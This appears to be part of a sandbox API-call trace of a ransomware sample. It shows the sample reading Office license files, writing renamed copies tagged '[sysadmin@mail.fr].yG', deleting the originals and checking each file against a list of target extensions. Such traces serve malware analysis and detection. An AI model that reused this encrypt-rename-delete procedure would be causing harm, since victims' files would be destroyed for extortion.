	[0161.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.610] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.610] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0161.612] GetLastError () returned 0x0
	[0161.612] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x1a8a, lpOverlapped=0x0) returned 1
	[0161.626] WriteFile (in: hFile=0x544, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0161.627] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.627] WriteFile (in: hFile=0x544, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x110, lpOverlapped=0x0) returned 1
	[0161.627] SetEndOfFile (hFile=0x544) returned 1
	[0161.627] CloseHandle (hObject=0x544) returned 1
	[0161.627] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.627] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.780] CloseHandle (hObject=0x4b0) returned 1
	[0161.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1
	[0161.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0161.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0161.782] lstrlenW (lpString=".doc") returned 4
	[0161.782] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.782] lstrlenW (lpString=".docx") returned 5
	[0161.782] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.782] lstrlenW (lpString=".pdf") returned 4
	[0161.782] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.782] lstrlenW (lpString=".xls") returned 4
	[0161.782] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.782] lstrlenW (lpString=".xlsx") returned 5
	[0161.782] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.783] lstrlenW (lpString=".ppt") returned 4
	[0161.783] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0161.783] lstrlenW (lpString=".zip") returned 4
	[0161.783] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.783] lstrlenW (lpString=".rar") returned 4
	[0161.783] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.783] lstrlenW (lpString=".bz2") returned 4
	[0161.783] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.783] lstrlenW (lpString=".7z") returned 3
	[0161.783] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0161.783] lstrlenW (lpString=".dbf") returned 4
	[0161.783] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0161.783] lstrlenW (lpString=".1cd") returned 4
	[0161.783] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80
	[0161.783] lstrlenW (lpString=".jpg") returned 4
	[0161.783] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.784] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=9606) returned 1
	[0161.785] CloseHandle (hObject=0x4b0) returned 1
	[0161.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220
	[0161.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.785] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.786] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0161.787] GetLastError () returned 0x0
	[0161.787] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2586, lpOverlapped=0x0) returned 1
	[0161.803] WriteFile (in: hFile=0x34c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2590, lpOverlapped=0x0) returned 1
	[0161.804] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.805] WriteFile (in: hFile=0x34c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0161.805] SetEndOfFile (hFile=0x34c) returned 1
	[0161.805] CloseHandle (hObject=0x34c) returned 1
	[0161.805] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.805] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.810] CloseHandle (hObject=0x4b0) returned 1
	[0161.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1
	[0161.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0161.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0161.812] lstrlenW (lpString=".doc") returned 4
	[0161.812] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.812] lstrlenW (lpString=".docx") returned 5
	[0161.812] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.812] lstrlenW (lpString=".pdf") returned 4
	[0161.812] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.812] lstrlenW (lpString=".xls") returned 4
	[0161.813] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.813] lstrlenW (lpString=".xlsx") returned 5
	[0161.813] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.813] lstrlenW (lpString=".ppt") returned 4
	[0161.813] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0161.813] lstrlenW (lpString=".zip") returned 4
	[0161.813] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.813] lstrlenW (lpString=".rar") returned 4
	[0161.813] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.813] lstrlenW (lpString=".bz2") returned 4
	[0161.813] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.813] lstrlenW (lpString=".7z") returned 3
	[0161.813] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0161.813] lstrlenW (lpString=".dbf") returned 4
	[0161.813] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0161.813] lstrlenW (lpString=".1cd") returned 4
	[0161.813] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0161.813] lstrlenW (lpString=".jpg") returned 4
	[0161.814] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.814] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=10623) returned 1
	[0161.815] CloseHandle (hObject=0x4b0) returned 1
	[0161.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220
	[0161.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.815] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.815] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0161.817] GetLastError () returned 0x0
	[0161.817] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x297f, lpOverlapped=0x0) returned 1
	[0161.819] WriteFile (in: hFile=0x34c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2980, lpOverlapped=0x0) returned 1
	[0161.821] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.821] WriteFile (in: hFile=0x34c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x100, lpOverlapped=0x0) returned 1
	[0161.821] SetEndOfFile (hFile=0x34c) returned 1
	[0161.821] CloseHandle (hObject=0x34c) returned 1
	[0161.821] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.821] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.825] CloseHandle (hObject=0x4b0) returned 1
	[0161.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.825] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 1
	[0161.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0161.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0161.826] lstrlenW (lpString=".doc") returned 4
	[0161.826] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.826] lstrlenW (lpString=".docx") returned 5
	[0161.826] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.826] lstrlenW (lpString=".pdf") returned 4
	[0161.827] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.827] lstrlenW (lpString=".xls") returned 4
	[0161.827] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.827] lstrlenW (lpString=".xlsx") returned 5
	[0161.827] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.827] lstrlenW (lpString=".ppt") returned 4
	[0161.827] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0161.827] lstrlenW (lpString=".zip") returned 4
	[0161.827] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.827] lstrlenW (lpString=".rar") returned 4
	[0161.827] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.827] lstrlenW (lpString=".bz2") returned 4
	[0161.827] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.827] lstrlenW (lpString=".7z") returned 3
	[0161.827] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0161.827] lstrlenW (lpString=".dbf") returned 4
	[0161.827] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0161.827] lstrlenW (lpString=".1cd") returned 4
	[0161.827] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72
	[0161.827] lstrlenW (lpString=".jpg") returned 4
	[0161.828] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.828] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=6729) returned 1
	[0161.828] CloseHandle (hObject=0x4b0) returned 1
	[0161.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220
	[0161.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0161.830] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.830] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0161.831] GetLastError () returned 0x0
	[0162.067] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x1a49, lpOverlapped=0x0) returned 1
	[0162.116] WriteFile (in: hFile=0x34c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x1a50, lpOverlapped=0x0) returned 1
	[0162.117] ReadFile (in: hFile=0x4b0, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.118] WriteFile (in: hFile=0x34c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x102, lpOverlapped=0x0) returned 1
	[0162.118] SetEndOfFile (hFile=0x34c) returned 1
	[0162.118] CloseHandle (hObject=0x34c) returned 1
	[0162.118] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.118] SetEndOfFile (hFile=0x4b0) returned 1
	[0162.132] CloseHandle (hObject=0x4b0) returned 1
	[0162.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1
	[0162.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0162.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0162.134] lstrlenW (lpString=".doc") returned 4
	[0162.134] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.134] lstrlenW (lpString=".docx") returned 5
	[0162.134] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.134] lstrlenW (lpString=".pdf") returned 4
	[0162.134] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.134] lstrlenW (lpString=".xls") returned 4
	[0162.134] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.134] lstrlenW (lpString=".xlsx") returned 5
	[0162.134] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.134] lstrlenW (lpString=".ppt") returned 4
	[0162.135] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0162.135] lstrlenW (lpString=".zip") returned 4
	[0162.135] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.135] lstrlenW (lpString=".rar") returned 4
	[0162.135] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.135] lstrlenW (lpString=".bz2") returned 4
	[0162.135] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.135] lstrlenW (lpString=".7z") returned 3
	[0162.135] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0162.135] lstrlenW (lpString=".dbf") returned 4
	[0162.135] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0162.135] lstrlenW (lpString=".1cd") returned 4
	[0162.135] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73
	[0162.135] lstrlenW (lpString=".jpg") returned 4
	[0162.135] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0162.137] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11589) returned 1
	[0162.137] CloseHandle (hObject=0x4b0) returned 1
	[0162.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220
